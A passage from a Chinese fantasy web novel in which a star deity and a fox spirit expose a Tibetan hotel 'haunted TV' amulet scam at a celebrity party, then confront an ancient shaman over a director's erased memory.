不管是真还是假,总之,先去探探路,要是谁跟马导有往来,可以加入重点观察对象。 生日宴当天,胃土雉带着李寅寅和苏灵衣前往蓝姓男明星的别墅。 此时已经有不少人到了,他们端着香槟酒杯,互相聊着天,不是投资了哪一处房产,就是有没有听说某剧组的动向,或是谁谁又去了韩国做脸效果还不错。 在场的除了胃土雉,还有几个国家暴力机器的人,拍战争戏和廉政戏相关,总少不得跟他们打交道,因此生日宴上也请了他们。 他们的气质与胃土雉相似,乍一眼看过去,也是成熟稳重,老谋深算。 不过他们都不如胃土雉纯粹,总忍不住想炫耀炫耀自己的不凡经历,所谓“富贵不还乡,如锦衣夜行”。 然而有胃土雉这个绝对的大佛镇在这里,他们的话都少了。 魏国强老前辈的名声,如雷灌耳,早年偷火药起义,传奇事迹一堆,解放后干过刑侦,灭过敌特,跨过三八线,踏过镇南关,南苏丹、掸邦的相关故事他都参加过。 在他面前吹牛,不仅装不到逼,一句话说不好,可能不小心把自己卖了。 听说之前就有一个官二代在会议休息室里跟人吹牛说在印度尼西亚买了一个岛,雇人在上面种违禁植物,还有专人提炼。 第二天,他就被魏国强举报了。 第三天,他爹把这事压下来。 第四天,他爹也被魏国强举报了。 玩得花的人很多,被盯上和没有被盯上是两种不同的结果。 几派激烈斗争,公子哥的爹想从魏国强的私德上下手,结果魏国强老婆在战争年代就牺牲了,是国家认定的、板上钉钉的烈士,此后他也没娶、无后。 家里人也在战争年代死光了,失散了……总之,光棍一个,不爱财、不爱色、不爱权…… 那次事情他举报就是举报,后续的运作他都不参与。 最后,官二代他爹不得不让渡手上的众多实权,换取息事宁人。 别人都以为魏国强能从中搞到不少好处,有不甘心的人去查他的收入。 结果,他真的什么都没拿,踏踏实实的领着他的离休工资、当着他的客座教授,当顾问拿的顾问费都一笔一笔的签了合同,该交的税一分钱都没少。 个人交这种税是20%,工作室交的话是1.5%。 别人都去霍尔果斯或某些产业园成立工作室,进行合理避税。 他居然就是不搞工作室,硬生生的按个人劳务所得交税。 不刷离休公费医疗卡买奢侈补品拿出去倒卖、不公车私用、不随地吐痰、不闯红灯…… 简直就是完人。 调查他的人只有一句评价:他是人吗?这活着还有什么意思? 事情彻底结束,中间种种秘辛,外人不得而知,只有圈子里的人知道: 第一、千万不要得罪魏国强。 第二、千万不要让魏国强看不顺眼。 第三、魏国强正直得要命,经常看人不顺眼。 传说圈内有个共识:遇上魏国强,能躲就躲,能避就避,躲不开避不掉,就微笑点头叫声老领导好,除此之外,什么都别说。 等他自己老死就好,千万不要招惹他。 结果这老头子活得那叫一个精神,身份证年龄八十五,还打篮球! 他干的最以权谋私的事,大概就是跟人打篮球的时候,仗着年纪大,吓得年轻小伙子不敢撞他,不敢拦他,他哐哐进球。 只有李寅寅知道,胃土雉是有自己爱好的,就是出主意当谋士。让他当皇帝,他又不乐意,他还要享受向上管理的快乐。 大到攻城掠地,权力更替,小到帮卖烧饼的小贩做到销量翻倍,他都很高兴。 他就喜欢看自己安排的计划不折不扣执行,并且百分之百达到他预期的结果。 至于是不是人人都知道是他干的,那不重要,所谓“功成不必在我,功成必定有我”。 李寅寅觉得今天只是来探探虚实,没有到需要他现场出主意的地步,留在这里反而让大家都不敢说话,影响消息的收集,她使了个眼色,胃土雉会意,找了个借口,很快就离开了。 他走后,周围一圈的气氛顿时为之一松。 几杯酒下肚,在场那几位有吹自己当年率数万大军的平叛光荣事迹,有吹奉命查抄某寺庙发现大量下流VCD的,还有吹自己是如何让文工团女团员表演节目,粉碎某些和尚继续造反的心思。 男人们酒后吹牛的话题,不是所有人都爱听。 另外几个女星听着听着,就悄悄换了地方,她们把话题从寺庙,扯到了大师身上。 “听说你找的是那个萨满太太好灵的,上次我想约她,都约不到,说给那个港圈小狐狸精给请去了,问能不能最后嫁进豪门。” “是很灵啊,她说我应该接那部戏,肯定能红,我都不相信,导演都没听说过,演男主的也不是什么大腕,剧本也就那样……居然真的红了,我自己都不知道怎么红的。” “对对对,我也听说,当时她就说绝对不可能,但是可以母凭子贵,换到足够用一辈子的钱,对了,用尸油点舌头是不是真的啊?” “干嘛?你也想试试啊?” “我才不呢,想想就恶心,噫……就随便问问……” 李寅寅凑过去说:“狐仙不能乱求的哦,她们也是分辈份的。要是你跟另一个人争同一个角色,结果你请的狐仙是她请的狐仙的晚辈,那不就完蛋了?一辈子都要被艳压。” 这三个女星刚才看见李寅寅坐在“政圈”的沙发上,跟人人都敬重的白发老头并肩而坐,但又不像他的小情人,一时摸不透她的来历,只知道她的身份背景肯定不凡。 李寅寅说的事,她们也都知道,所以也很小心。 又以想求狐仙,又怕自己求到了整个山头辈份最低的反而处处被人压制。 李寅寅指着苏灵衣:“这是我在雪域高原请到的一位大师,他有阴阳眼,能看见人间与鬼界,还能看到妖的等级,还能分辨灵物的真伪。” “真的呀?”又多了几个人围过来。 苏灵衣青春年少,温润俊美,还自带着一些忧郁气质。 好看是好看的,能进组拍戏,演偶像剧的深情男二绝对没有问题。 也像被善良女主救赎的破碎感美少年,总之,就是别人成为他的光,指点他的方向,而不是他指点别人开悟。 有一个女演员有心想试试,她摘下自己的手链给苏灵衣:“这是我在西藏一位活佛那里求到的开光降龙木手链,说是能消灾避邪。” 十八颗原木色的珠子上,镶了一颗蜜蜡顶珠和两颗绿松石隔珠。 每一颗珠子的底端都有六道线。 “活佛说说这代表着六字真言。” 苏灵衣看了一眼,声音温柔:“你没有这么重的罪孽,不用戴它。” “啊?我是想避邪,不是想赎罪呀。” 苏灵衣问道:“你是遇到什么事了吗?” 女演员神秘地对他说:“我去西藏旅游的时候,住到一家宾馆,睡得好好的,晚上电视机屏幕忽然自己打开了,没有信号,一片雪花,好像还有人影,在里面走来走去,还把脸贴着屏幕,我看见他的口型,好像在对我说话。” 苏灵衣认真地看着她:“后来你把电视关了吗?” “我哪还敢靠近它呀,吓都吓死了,我拉着行李箱就换别的地方住了。第二天,我就去寺庙求了这串手链。” 苏灵衣问道:“你自己去买的?” “不是,是司机带我去的,我包的车,他是本地人,他说,藏地有一个魔女萨迦巴姆的传说,文成公主嫁入藏地的时候让人修建寺庙镇住了魔女,但是昨天我们住的地方是女魔心脏附近,魔气特别强,我身体弱还是第一次上高原,所以才会遇到怪事。” “你住在哪里?布达拉宫?药王山?还是磨盘山?还是大昭寺?” “好像离磨盘山不远。” 苏灵衣又问:“司机带你去哪个寺庙?大昭寺?小昭寺?色拉寺?甘丹寺?哲蚌寺?” 女演员愣了一下,回忆了许久,摇了摇头:“都不是,不知道是什么寺庙,离市区很远,好像也不是庙……像民居……司机说,那些大寺都沾了红尘的俗气,不灵的,他带我找的活佛,从来不在外抛头露面,只潜心修行,只接受本地人带来的有缘人。” 李寅寅心里大笑,拉踩加强调独特性,这招是她手下的间谍们的常规套路,从敌方人员嘴里套取情报的时候特别好用:“你兵法纯熟、冷静缜密,我看那谁比你差远了,你们元帅怎么能这样对你。” 千百年来,套路不改却依旧好用,真的是经典永流传。 苏灵衣耐心解释:“所谓人活一口气,佛争一炷香,佛在舍卫国讲法,还要黄金铺地,佛见人世的生老病死才决意出家,化缘更是修行之一,哪里有完全不入凡尘的僧人?” 他的声音轻柔沉稳,像最体贴温柔的情人,说话时,一双眼睛专注地看着女演员,好像她是他在世间唯一关心的人。 “可是……可是我亲眼看见那个电视机亮起来了呀,肯定不是幻觉,也不是我梦游,我这边还有宾馆退押金的记录和开新房间的记录呢。” 女演员手忙脚乱的拿出手机,翻找交易记录,以此证明自己不是胡编。 李寅寅忽然开口:“你住的宾馆,是不是快乐老家?那个司机是不是叫胡建林?” “呃……我不记得司机叫什么了,好像是姓胡,对,宾馆是叫快乐老家。你是不是也遇到同样的事了?!” 李寅寅笑道:“嗯,我也包的他的车,他的报价是最便宜的,不过我去的时候很晚了,没有插取电的房卡,随便擦了两把就睡,晚上什么事都没有发生。第二天早上,他看见我的时候,表情很奇怪,还问我晚上睡得怎么样,我说挺好的,他的表情就很困惑。 后来我还把他介绍给我的闺蜜,她和她老公一起去的,晚上电视也亮了,她老公是个电工,把电视机那边的插座拆开来,看到里面有控制器,定时晚上就会亮。 她气得报警了,警察说这种骗局已经不是第一次了,就是让你以为见鬼,然后拉你去买避邪的东西。如果你身上什么都没有,就报一个便宜点的价格,如果你身上本来就有玉佛、玉观音、金刚经吊坠或者紫檀佛头之类的东西,就卖你很贵,因为他们认为你信这个,只要信,就好骗。” “不会吧……”女演员整个人懵懵的,她买这串手链,花了一万五,那个“仁波切”还在她头顶上抚摸,注入能量,一切都很像那么回事。 她不愿意接受现实。 她想找出李寅寅话里的漏洞,证明自己真的是见鬼了。 可是,李寅寅以前都不认识她,她怎么能一口报出那家宾馆的名字和司机和名字? 上当受骗的人没有一个愿意痛快承认的。 在他们心中,那不是钱的问题,那是耻辱,承认被骗等于承认自己智商有问题。 就如同追星族不愿意承认爱豆塌房,被家暴的女人不愿意离婚,公开承认自己选错了对象爱错了人,比编一个自己都不信的理由混过去还难。 当着这么多人的面,她实在不愿意承认自己上当。 苏灵衣也没打算说服她承认,他温和的对她说:“没有关系的,虽然你没有罪孽需要消除,不过你将来红了,会有人羡慕你,你得到的每一个角色,都代表着另一些人失败,她们心中的怨恨,会缠绕着你,戴着它,可以让你不受这些业障的干扰……” 李寅寅听着他在那叭叭的业障、前缘,心里想笑,脸上努力保持着平静。 有了第一个成功案例,后面越来越多的人找苏灵衣看事,问东问西。 刚开始只是一些试探的小事,然后就是关于某部戏要不要争取某角色,演了能不能红之类的重点议题了。 李寅寅则负责跟其他人聊天,对苏灵衣评头论足:“他好像有些事情说得还蛮准的。” “真的蛮灵的,我有点感冒,他看了一眼,就说我是10月2号的时候被风邪入体了,我查了一下,我10月2号的时候,拍了落水戏,那天是蛮冷的,上来我打了好几个喷嚏。” “我跟他说我睡不好,他问我床边是不是放着原木色的柜子,让我把柜子上面摆的东西挪开就好了,天哪,他怎么知道我的床头柜是原木色的,我都想了一下才确定。” …… 李寅寅见时机差不多成熟,便打探道:“他说这些小事虽然准,不过大事,我还是想多找人问问,要是几位大师都能证实同一个结果,那才稳妥呢。” 这一点其他几个人也深以为然。 毕竟历史上不止一次发生过“以为必爆的剧直接被禁,雪藏。以为是垃圾小制作,结果忽然自来水狂涌,全组人都火了”的怪事。 苏大师说这剧该接,会火……但万一苏大师算错了呢?买东西还要多看几条评价,何况是接工作这种大事。 大家在叽叽喳喳讨论圈内还有没有大师了,有人忽然说:“我听说马导特别信一个老师,每次有重要的片子开拍前,他都要单独跟那个老师见面,他不是有几部戏拍的时候出事了,票房也不好吗?听说,就是那个老师不在,他没在开拍前见着,所以就没成。 好多人找他,有缘的才看,没缘的不看,十几年前一个影后就找过他,花五百万求他见一面,他都不见,就说了一句‘来不及了’,然后,那个影后就查出了癌症晚期,很快就死了。” 李寅寅睁大眼睛:“这么灵的呀?那个老师你认识吗?” “不认识,只听过名字,好像叫宝言老师。” 李寅寅:“……保研老师?那他……开班吗?” “不开,都得熟人介绍。” 又是一个只让熟人介绍有缘人的套路……李寅寅没怎么放心上,她只想知道马导消失的那段记忆去哪了。 人类不愿意承认上当,她不愿意承认自己的法术调不着记忆。 胃土雉发挥稳定,很快就把宝言老师的信息发来,并且告诉李寅寅宝言老师身份贵重,需要通过层层人托人才能找到,他稍微需要一点时间。 还没有等胃土雉开始找,李寅寅的手机就响了,陌生号码。 李寅寅心中有一丝奇异的预感,来的人人,就是宝言老师,但又觉得不可能。 她接起电话,对面传来一个低沉的男声:“我是宝言,听说,你要找我?” 第63章 巫履 “宝言老师真是神机妙算,我刚想找你呢,老师的耳神心意就捕捉到了。” “一点小小的手段罢了,算不了什么。不知李小姐是想问事,还是祈福?” “有事想问,也想祈福。” 对面的声音透着笑意:“这两个月我暂时不回去,等我回来的时候,会告知李小姐的。李小姐也可以加一下我的微信,方便沟通。” “好呀。” 李寅寅微笑挂了电话。 她一边加着微信,一边心念飞快闪动,她隔着电波都探测不到对方是什么东西。 如果对方凭空就能一下子定位到自己想找他,岂不是说明他比自己的法力还要高? 但是……如果他真的是比自己还有超强法力的人,身份必然不低,无论是天庭地府都是高官,那他跟着娱乐圈混什么。 像胃土雉一样混国运圈子岂不是更好,国运是连创世大神女娲都要礼让的红气,红气能养一切生灵,要面子有面子,要里子有里子。 玩弄娱乐圈的人,就算得手了,又能有多少成就感。 也许,是今天在场的人里,有他的眼线,他的忠实信徒,发现谁对他有兴趣,就马上通知他,他拨个电话过来,显得好像神通广大,无所不在。 微信很快通过,双方互相发了个微笑的表情,仅此而已。 李寅寅点开对方的朋友圈,前两年这个账号的朋友圈内容……嗯……怎么说呢,看起来就像骗子,而且是没什么技术含量的骗子。 【有没有处于焦虑、困惑、迷茫、抑郁的小伙伴们,可以先来咨询,多问问我。现在社会压力的确大,但是千万不要病急乱投医,大家请一定要擦亮双眼,现在外面三脚猫功夫的“疗愈师”太多了,别发现自己被忽悠,最后更郁闷了。】 配图:手上戴着佛珠,面朝大海盘膝打坐的男人背景。 【我希望激活身边每一个人的脉轮,使之平衡。让我们来树立行业标杆,以丰富的教学经验来告诉大家,到底什么才是真正的艺术疗愈、颂钵疗愈、生命能量调频!而不是那些神叨叨的……装模作样的……】 配图:一只男人的手,手持一根木棍,敲击着一个黄铜质地,有花纹的金属碗。 李寅寅知道这玩意儿叫颂钵,藏地宗教的法器。 【今天直播,粉丝找我说能量低了,要来上课调频,我听了真的很心疼,对于一些不在本地的粉丝也是,我会加快速度把线上课程录制好,尽快给到大家赋能哈。】 配图:微信聊天记录截图 还有案例分享 【有一位全职太太在刨腹产后,莫名会感到暴躁,听见儿子的哭声就感到奔溃,有人介绍她到我这里来的时候,她起先是不信的,我告诉她,像她这样认知高的人,需要不断进行生命能量的调频,振动频率低于200的人特别容易生病,而高于200的人则身强体。调过一次之后,她动情地说,能量美学疗愈是对中华名族的优秀传统文化的发扬,她想推荐给身边的外国朋友。】 配图也是微信聊天记录截图。 李寅寅看到“刨腹”“奔溃”“名族”已经开始皱眉。 不管这位大师是什么身份,李寅寅已经单方面把他从天庭成员里开除了。 但是近半年的内容,忽然高大上起来了,在各种看起来清幽古朴的地方打坐,面前摆着香、手里拿着书。 配字也没那么尴尬了。 就是一些文艺范儿十足的哼哼唧唧,感叹岁月静好、古人的智慧、祖宗的馈赠什么的。 最新的一条内容是几分钟前他坐在一座寺庙的院落里,身边是一棵巨大的银杏树,银杏树叶子金黄,衬着蓝天白云,十分漂亮。 李寅寅把这张照片给奎木狼:“查一下这是什么地方。” 十分钟后,收到回复信息:云南临沧沧源县金光寺。 李寅寅先回了一趟宠物店,告诉大家:“我要去云南临沧,今晚就动身,苏灵衣,你跟我一起走。” “为什么是我?”苏灵衣天天往大学跑,与养母多年未见,他总想多为她做点事,让她过得更好一点。 要不是韩文静也坚信她是自己妈妈,想要多见见,苏灵衣早就把她接出来享福了。 听说要出远门,他有些不舍。 不过听说是跟李寅寅单独出远门,他又有些期待。 狐生就是如此的纠结,他犹豫道:“我不会缩地成寸,要去多久?中间能回来吗?我能知道这边发生了什么事吗?万一再有什么人在学校里生事……” 不过李寅寅也没有给他纠结的机会。 “呵,说得好像有人在学校里生事,你能干什么一样,上次还不是靠我!我怀疑这个人与毁灭纯狐族的事情有关,跟学校那次事件也有关系,你爱去不去,不去的话,有结果我也不告诉你。”李寅寅哼了一声。 苏灵衣闻言,立马应声:“我去!我去!” 李寅寅扭头:“不带你!” “求求你~~”苏灵衣已经快速接受了“识时务者为俊杰”的狐生信条,并身体力行的贯彻。 李寅寅又对店里的其他人进行一番安排: 冯墨负责看店、拿快递、交各种费用、跟邻居们交际往来。 黄少芸负责盯着乐乐上学和写作业。 薛姗负责盯着黄少芸,安抚她的情绪,让她稍微克制一点,不要对乐乐下手太重。 介老头负责掌管大局。 说完,李寅寅跟苏灵衣便凭空消失了。 过了十几秒,两人出现在古庙门口。 此时阳光正好,没有人注意到他们,因为根本就没有人。 寺庙十分老旧,有修缮的痕迹,不过从油漆剥落的情况看,起码已经有十年以上没有动过了。 门边上有一些长长的石槽,还有一些粗壮树干,也不知道摆了多久,石槽上满是青苔,树干也裂开了几个大口子。 石槽里和树干的裂缝里的植物郁郁葱葱,都是多肉植物。 苏灵衣这段时间在店里帮忙照看生意,除了动物宠物之外,也有客人咨询植物宠物的事情,他自学了很多相关知识,一眼就认出来这里种的多肉不是普通的大路货,而是很难养的几个品种:蜡牡丹、雨滴、熊童子、小红衣,还有赫拉。 几乎人人都说这几个品种难搞,恒温恒湿的伺候着,当祖宗一样供着,一个不留神就灭了,不是烂根烂茎,死成一滩泥,就是枯黄憔悴,最后死成一张皮。 眼前这堆多肉就随便摆在露天,阳光想怎么晒就怎么晒,雨露想怎么浇就怎么浇,长得还那么精神,色彩也漂亮。 苏灵衣对此只能感慨:“原产地就是霸道……还是你有远见,把异界树种在结界里,不然不知道要出什么事。” “不是有远见,是爱生活爱八卦,对了,这事还是你亲戚跟我说的。” “什么亲戚?” “我和柳舒去北海的时候,遇到了一只北极狐,白绒绒的一团好可爱……他让我不要踩地上的苔藓,说那个不是苔藓,而是北极柳,缺土地缺阳光还低温才让它长得那么小,要是挪到温暖的地方,它也能长成普通柳树那么大。 北极狐真的好可爱啊,柳絮飘到它鼻子里,它打了个喷嚏,自己把自己吓到了,躲到地缝里不敢出来,哈哈哈哈哈……” 苏灵衣:“有这么可爱嘛?” “是啊是啊!白白一团,像雪团。” 苏灵衣的眼神不善:“那不就长得像萨摩耶一样,毫无狐族气质。” “那倒是,经典狐族代表当然是赤狐啦,那妩媚的小眼神~也好可爱~” 苏灵衣:“!!!” 赤狐有什么好的!赤狐他们……他们…… 没等苏灵衣想出赤狐的缺点,李寅寅就已经大步流星往庙里走了,他也只得放弃罗织罪名嘲讽同类,赶紧跟着过去。 李寅寅一边走一边嘱咐道:“一会儿,看对方的态度,要是需要说什么情绪比较激烈的话,得由你来主动说。这样有转圜的余地。发脾气放狠话是一种手段,如果放出去不能得偿所愿,只会白白被人笑话。” “我明白!”苏灵衣脑中快速组织语言,准备好一些狠话,一会儿伺机放出。 庙不大,但修了三进,最里面的正中间,是一个陡峭的高台,从地面到高台,有一段长长的石阶,石阶没有扶手,台阶已经被踩得十分光滑,只有正中间露出石头本色,两端无人走的地方,早已被青苔染成毛茸茸的浓绿。 在台阶边上,李寅寅看到了那棵银杏树,金黄的扇形树叶落了一地,在树下,有一张石桌,几个石凳。 那里坐着一个男人,他连头都没抬,声音柔和:“要不要尝尝我泡的茶?” 李寅寅在他对面坐下:“你就是宝言老师?” 苏灵衣听出,她的声音里透着几分笑意,看来是熟人,也许,又是天上的某位神仙,他暗暗松了一口气,真心希望那些狠话用不上。 宝言伸出手:“是,我想到你会来,只是没想到,会来得这么快,准备不周,还请见谅,这位小朋友,也请坐。” “……”苏灵衣愤愤,我不是小朋友,不过人家是神仙,在神仙那不知道多少的寿数面前,自己确实不算老。 苏灵衣紧挨着李寅寅坐下,面前摆着几乎与石桌一般大的茶盘,里面的东西真不少,茶海、三才杯、渣方、茶则、还有瓷瓶里的茶具六君子样样齐全,就连茶宠都有四个,正是青龙、白虎、朱雀、玄武。 青龙半身入云,龙睛圆睁,须发皆张,好像在行云布雨。 白虎抬虎张口,眼神犀利,如同下一秒就要发动袭击。 朱雀张开翅膀,火焰冲天,神态高傲。 就连应该是最老实的玄武,身上的蛇也高昂着头,张着嘴,仿佛嘶嘶吐信,下面的龟则瞪大了眼睛,紧盯某处,全身透着戒备。 普通人的茶宠不是可爱型的小狗小猫小象,就是象征着好运的蟾蜍和貔貅。 这人的茶宠是四圣兽能理解,但是全部选这种凶煞气冲天的造像,就不太能理解了。 这是打算喝完了茶,摔杯为号吗? 苏灵衣的余光看着李寅寅,她似乎没有注意到茶宠的形象,或者注意到了,也不觉得有什么问题。 她的眼睛一直盯着宝言老师。 他约摸有五十多岁的年纪,穿着深蓝色对襟立领布衫,右手腕上缠着三道紫檀木镶翡翠的小珠子手串,正不紧不慢的取出一饼普洱,向着李寅寅一亮:“冰岛古树,生普,如何?” “好。”李寅寅微笑答道。 宝言点起橄榄炭,放在红泥炭炉内,等水壶放上去之后,他一边擦拭着方才用过的茶针茶拨,一边笑道:“多年不见,星君风采依旧。” 李寅寅笑道:“你也一样,只不过,你为什么从四川搬到这里来了?” “星君又何必明知故问?”宝言淡然。 李寅寅向苏灵衣介绍:“这位名字起得像本科生最爱的男人,真名叫履,开明六巫之一,凡人都叫他巫履。” “其实,我是觋……算了,几千年下来,以讹传讹也习惯了。”巫履无奈笑道。 苏灵衣恍然大悟:“啊,原来是你,我知道。” 巫履这才认真看着他:“你是……谁家的孩子?” 上古得正果的狐族不少,青丘氏与仙同居,不沾凡尘俗事,涂山氏与人王交好,被王气浸染多年,有苏氏温柔妩媚,纯狐氏最爱读书,自带书卷气。 眼前这位的本相,即不威武霸气,也不妩媚动人,又无运筹帷幄的谋士气质,更是一丁点王气都没有。 看正脸,很忧怨。 看侧脸,好像鄙视世间万物。 一副不死不活的厌世相。 现在也就稍稍带了那么一点仙气,大概是沾了李寅寅身上的。 苏灵衣答道:“我是纯狐氏,苏姓,名灵衣。” 他又补充了一句:“我是纯狐大祭司的养子。” “哦~~~”巫履恍然大悟,不是亲的,难怪长这样。 过去,苏灵衣已经习惯了别人的鄙视和嘲笑,反正就连族里的小孩都这样对他,他也不在乎。 但是自从在虎虎宠物店住下,店里的所有人都对他很好,从来没有把他当成是丑八怪异端,甚至冯墨还吃他的醋,把他当成争宠的假想敌,这可是几万年来,他第一次享受过的至高待遇。 所以,他现在听到巫履的话,又回到了那个被人嘲笑的岁月,心里非常不舒服,就像被人揭了短处,右手不由得微微扣紧,将裤子抓出几道痕来。 忽然他感觉手背上一暖,李寅寅不动声色地将手按在他的手上,安抚地拍了拍,又抓住他的手背,就这么轻轻地按着,一动也不动,苏灵衣羞愤的心又生出其他千回百转的粉红心思。 李寅寅看着巫履笑道:“你从巫溪跑到这里,不会是因为你们几次奉命复活天神,结果搞出了重大医疗事故,所以逃到这里来避祸吧?” “窫窳是他自己命数该绝,本来已经将他救活,可是,他却不愿意多休养,刚复活没几天,身弱腿软,走不了几步,就摔进了弱渊,我们能来得及第二次把他救活已经很不错了,何况……” 巫履一脸无辜地看着李寅寅:“我并不负责制药,只负责祭祀典仪,星君也是知道的,否则,我又怎么会一下子就感知到星君想见我呢。” 他能直接感觉到李寅寅要找他,并且主动先找上李寅寅,这是上古天职赋予他的神通。 人间有灵山十巫,专司与天庭阴司的接待。 所谓祭祀,就是与天地鬼神对话。 巫履即是开明六巫,也是灵山十巫。 天神、鬼尊,妖王……只要是人类供奉的神灵,不管什么时候,只要神灵心念一动,想要人间提供什么东西,他都要第一时间响应、沟通细节,然后遵照执行。 早期人类大小战争不断,每个部落氏族都在高强度祭祀白虎星,希望己方胜利。 用现在的话说,就是巫履把白虎星君放在置顶对话里,只要出现“对方正在输入……”,他就马上关注,并提前想到她这次又想干嘛。 壶里的水开始慢慢泛起了小小的水汽泡,如蟹眼一般,很快水泡变大,如鱼眼,继而水声飕飕如风吹过松林。 巫履提起水壶,缓缓注入紫砂制的茶海之中。 李寅寅又开口:“你就算不管药的事情,好歹也是开明六巫的一员,你们复活的神、妖、巫可不少。 窫窳、危、女丑、颛顼、望帝……就是没有一个复活像样的,不是变成了无知无识的僵尸,就是变成了怪物,还有直接给人家改了物种。 窫窳被贰负和危杀死是第一次复活,被你们从弱渊里捞出来是第二次复活,变成怪物被羿射杀之后,这次,是第三次复活,而且,还保有原来的意识,你们做为生物医药界人士,就不好奇为什么会变成这样? 好歹抓回来做个样本。” 巫履微笑:“自从天界再也不与人界通,人界的祭祀礼仪也都被简化再简化,我已经没有用了,那个时候,我就离开了她们五个,独自一人隐居于此,已经百余年了……至于窫窳复活的事情,我听说了,但是,我并无战力,就算知道,也无能为力。” 李寅寅心中冷笑,无能为力个屁。 能掌握天帝不死药的开明六巫,哪个不是能文能武,德智体美劳全面开花,不然,不死药早被抢了。 虽然,就李寅寅看来,那个破不死药跟随机改变命运一样,吃下去都不知道会变成什么鬼东西,没什么好抢的。 但是,对于一心想长生不老的人来说,变成什么都不重要,变成电脑可以,全身插满管子半死不活的躺在床上也没问题,甚至愿意没死的时候就让人把头砍下来冻在冷库里。 看出巫履不想老实承认,李寅寅也不着急,她转而问道:“马导身上有你的气息,他杀人却没被发现,不会是你的热情相助吧?” “他没有杀人。”巫履将茶海里的茶一点一点倒入三才杯中,恭恭敬敬端到李寅寅面前,又倒了一杯递给苏灵衣。 “是何玉凤,就是那个女人,得了一些蘑菇的药粉,想和他一起服用,共赴极乐,然后拍一些照片,取一些样本,再从他身上得到好处。结果,欺骗不成,她就想强灌,呵,她一个女人家,怎么能犟得过男人……星君您是天上星宿,您除外……总之药粉就全到她自己的肚子里了。” 李寅寅看着他:“你的意思是,何玉凤跳楼,是因为吃了毒蘑菇粉,产生幻觉,才会跳下去?” “是。” “照你这么说,马导就是一个受害者,你抹掉他的记忆是为什么?” 巫履微笑着品了一口茶:“他虽然无辜,但按照人类的法律,他也算不得特别的无辜对吧……他如今运势已经落了下来,不能再惹上官非。 我不能逆反天命,硬给他大富大贵,但是,他给了我很多供奉,得人钱财,我总得做些什么。只要消掉所有的痕迹,包括他的记忆,他在人类那里就是清白的。” 他身体略微前倾,认真地看着李寅寅:“难道,星君认为他有罪?他确实私德有亏,人品不好,只是,算不得有罪吧……如果他有罪,世间罪人就太多了,除非洪水灭世,否则,干净不了。” 他还想继续往下说,李寅寅伸出食指晃晃:“我审过细作无数,什么样的都见过,在我面前说谎,你还差得远。你会为了一点钱,冒着天谴的风险,消除人类的记忆?除非你告诉我,他是跟你爱了几万年,不离不弃的爱人,不然,你为什么不去偷诺克斯堡里的黄金储备库?那不是更快一点?” 巫履被噎了一下,继而又微笑道:“……星君说笑了。” 整个古庙陷入死一般的寂静,苏灵衣心想:这就是需要放狠话的时候了! 他酝酿了一下情绪,正打算开口,却听见李寅寅先说话了。 李寅寅手指拧着三才杯上的盖钮,漫不经心道:“你对说笑的理解似乎有些问题,不过,这不重要,如果你不说实话呢,我就只好把你杀了,虽然我现在没有掌控天下兵马的能力,但是杀你一个,不,就算你们六个一起上,也绰绰有余了。” 苏灵衣:“……” 他慢慢把已经微微张开的嘴又闭上了。 不是,说好了情绪激烈的话由我来说呢,你这……不能说平平静静的说我要杀了你,就比情绪激动的拍桌子踩椅子抄刀子说要客气吧! 巫履垂下眼睫,看着手中冒着袅袅水蒸气的杯子:“我相信星君有这样的实力。” 他并没有继续往下说的意思。 “真是死猪不怕开水烫。”李寅寅冷笑一声,“行,既然这样,马导的事,我就既往不咎了。” 苏灵衣迷惑:什么?她什么时候这么客气?就这样算了? 李寅寅继续说:“为免后患,我先宰了你,再拆了这破庙,再去巫溪灭了你那剩下的五个姐妹!” 苏灵衣面如平湖,内心如惊涛拍岸:“=口=” 李寅寅要杀普通人,还得考虑方式方法。 杀巫履,她什么手段都可以用。 正当她抬手招来万千剑锋围住巫履的时候,突然,有一串轻轻的脚步声急匆匆赶到院子门口。 “求求你,不要……”那是一个十几岁的少女,她抱着一大束花,半边身子都被花挡住了,她惊恐地看着眼前无数倒映着阳光的利刃。 苏灵衣猜测,这个少女一定是巫履的同伙,看她明明怕得要死,还不走,要替巫履求情的样子,说不定她是巫履的爱人。 爱情真是一种魔药啊…… 少女虽然怕得要死,但还是勇敢地对李寅寅说:“这座庙做错了什么?这是明代的古庙噶!宁毁十桩婚,不拆一座庙噶!” 第64章 小鹿 身在万千剑锋之中的巫履神态自若,微笑着向少女招招手:“过来,不要怕,她们是好人,只是误会我了。” “噢……”少女嘴里应着,脸上的神情却还犹疑不定,两只脚在门槛外,用门板挡住大半个身子,谨慎观察着里面的动静,稍有不对劲,就立马逃走。 这个少女实在弱的很,弱到连苏灵衣都能看出她的原型,是一只小鹿,体型小的真不像鹿,看身高,不会超过苏灵衣的腰。 面相长得有点像鼠,眼睛大大,身体圆滚滚,四肢又细又长。 就这…… 李寅寅完全不觉得她会有任何威胁,只扫了一眼,便转过头继续与巫履对峙:“消失的几个小时是怎么回事,还有蘑菇粉,是从哪里来的?你还用那蘑菇骗过多少人自杀?如果你打死也不说,那我就真把你打死。” 少女听见“蘑菇”二字,转头就跑,苏灵衣听见动静,下意识地赶去,想抓住她。 她听见有人追过来,吓得跑得更快了,苏灵衣化身原形,如一道黄色的闪电飞掠过少女的身旁,少女转身向另一边逃蹿,刚转身,就看见了藏狐那张方方正正的脸,那张脸上带着两分厌世、三分忧郁、五分鄙视。 不巧一只小飞虫又飞到了苏灵衣的鼻子上,他大大的打了一个喷嚏,露出了尖利的牙齿,吓得少女慌不择路,化为原形,一头跳到旁边的小池塘里。 池塘里的水十分清淡,只淹过小鹿的背。 小鹿落水之后,便一动不动地呆立在水中,任凭苏灵衣怎么叫她,怎么做保证不会伤害她,她都不上来。 苏灵衣没办法,有心下水捞她上来,无奈原形太小,只得又变回人形,走下水,水的深度离他的膝盖还有一段距离。 直到走到小鹿近前,她还是一动也不动,苏灵衣只得认命的把她抱起来。 “明明是一只鹿,还没有母鸡重。”苏灵衣摇头,这轻飘飘的,最多三斤。 苏灵衣一手抱着小鹿,一手去捡她仓皇逃跑时落在地上的花,并企图跟她拉近关系:“多好看的花,落地上可惜了。” 小鹿却好像什么都没听见,还是全身僵硬,一动不动。 被剑阵抵着的巫履看见苏灵衣一手夹着小鹿,一手抓着一大把花回来,不顾指着自己的利刃,急道:“放开她!” “难得见到大巫这么担心一个妖物,你们俩是什么关系呀?”李寅寅笑道。 李寅寅:“一定是想利用她的灵……” 苏灵衣:“一定是情人!” 李寅寅:“……咳……最近黄少芸的片单里是不是全是偶像剧?” “你怎么知道?” 李寅寅默默扭头:“你少跟着看,对身体不好。” 